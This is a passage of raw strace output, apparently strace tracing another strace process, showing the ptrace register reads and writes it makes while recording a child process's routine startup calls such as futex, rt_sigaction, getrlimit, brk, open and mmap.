rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x111]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7fdaa80]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x18]) = 0
write(2, "set_robust_list(0x7ffff7fdaa80, "..., 36) = 36
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x111]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") = 0\n", 8) = 8
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xca]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7fffffffe2dc]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x81]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x1]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x7ffff7dedceb]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0x1f25bc2]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0x7ffff7fda7a0]) = 0
write(2, "futex(0x7fffffffe2dc, FUTEX_WAKE"..., 43) = 43
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xca]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") = 0\n", 6) = 6
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xca]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7fffffffe2dc]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x189]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x1]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0x7ffff7fda7a0]) = 0
write(2, "futex(0x7fffffffe2dc, FUTEX_WAIT"..., 91) = 91
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xca]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xfffffffffffffff5]) = 0
write(2, ") = -1 EAGAIN (Resource temporar"..., 49) = 49
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xd]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x20]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffe170]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x8]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe170, [0x7ffff700fb20]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe178, [0x4000004]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe180, [0x7ffff7019b40]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe188, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe190, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe198, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe1a0, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe1a8, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe1b0, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe1b8, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe1c0, [0]) = 0
write(2, "rt_sigaction(SIGRTMIN, {0x7ffff7"..., 85) = 85
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xd]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, "NULL, 8) = 0\n", 13) = 13
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xd]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x21]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffe170]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x8]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe170, [0x7ffff700fbb0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe178, [0x14000004]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe180, [0x7ffff7019b40]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe188, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe190, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe198, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe1a0, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe1a8, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe1b0, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe1b8, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe1c0, [0]) = 0
write(2, "rt_sigaction(SIGRT_1, {0x7ffff70"..., 95) = 95
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xd]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, "NULL, 8) = 0\n", 13) = 13
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xe]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x1]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffe228]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x8]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe228, [0x180000000]) = 0
write(2, "rt_sigprocmask(SIG_UNBLOCK, [RTM"..., 42) = 42
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xe]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, "NULL, 8) = 0\n", 13) = 13
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x61]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffe2c0]) = 0
write(2, "getrlimit(RLIMIT_STACK, ", 24) = 24
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x61]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe2c0, [0x800000]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe2c8, [0xffffffffffffffff]) = 0
write(2, "{rlim_cur=8192*1024, rlim_max=RL"..., 50) = 50
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x89]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7bd4297]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffe210]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7bd4290, [0x2f006563726f666e]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7bd4298, [0x78756e696c6573]) = 0
write(2, "statfs(\"/selinux\", ", 19) = 19
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x89]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe210, [0xef53]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe218, [0x1000]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe220, [0x4b4aad]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe228, [0x36a3bf]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe230, [0x32d0a6]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe238, [0x132000]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe240, [0xf7259]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe248, [0x19b3023d6d961a8]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe250, [0xff]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe258, [0x1000]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe260, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe268, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe270, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe278, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe280, [0]) = 0
write(2, "{f_type=\"EXT2_SUPER_MAGIC\", f_bs"..., 195) = 195
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xc]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
write(2, "brk(0", 5) = 5
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xc]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x61b000]) = 0
write(2, ") "..., 46) = 46
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xc]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x63c000]) = 0
write(2, "brk(0x63c000", 12) = 12
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xc]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x63c000]) = 0
write(2, ") = 0x"..., 39) = 39
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7bd41b6]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x1b6]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7bd41b0, [0x702f006c656e7265]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7bd41b8, [0x656c69662f636f72]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7bd41c0, [0x736d6574737973]) = 0
write(2, "open(\"/proc/filesystems\", O_RDON"..., 34) = 34
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x3]) = 0
write(2, ") = 3\n", 10) = 10
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffe0c0]) = 0
write(2, "fstat(3, ", 9) = 9
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe0c0, [0x3]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe0c8, [0xf00000a5]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe0d0, [0x1]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe0d8, [0x8124]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe0e0, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe0e8, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe0f0, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe0f8, [0x400]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe100, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe108, [0x4d823c95]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe110, [0x14142eb6]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe118, [0x4d823c95]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe120, [0x14142eb6]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe128, [0x4d823c95]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe130, [0x14142eb6]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe138, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe140, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe148, [0]) = 0
write(2, "{st_mode=S_IFREG|0444, st_size=0"..., 44) = 44
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x22]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0xffffffff]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
write(2, "mmap(NULL, 4096, PROT_READ|PROT_"..., 71) = 71
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff7ff8000]) = 0
write(2, ") = 0x7ffff7ff8000\n", 19) = 19
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
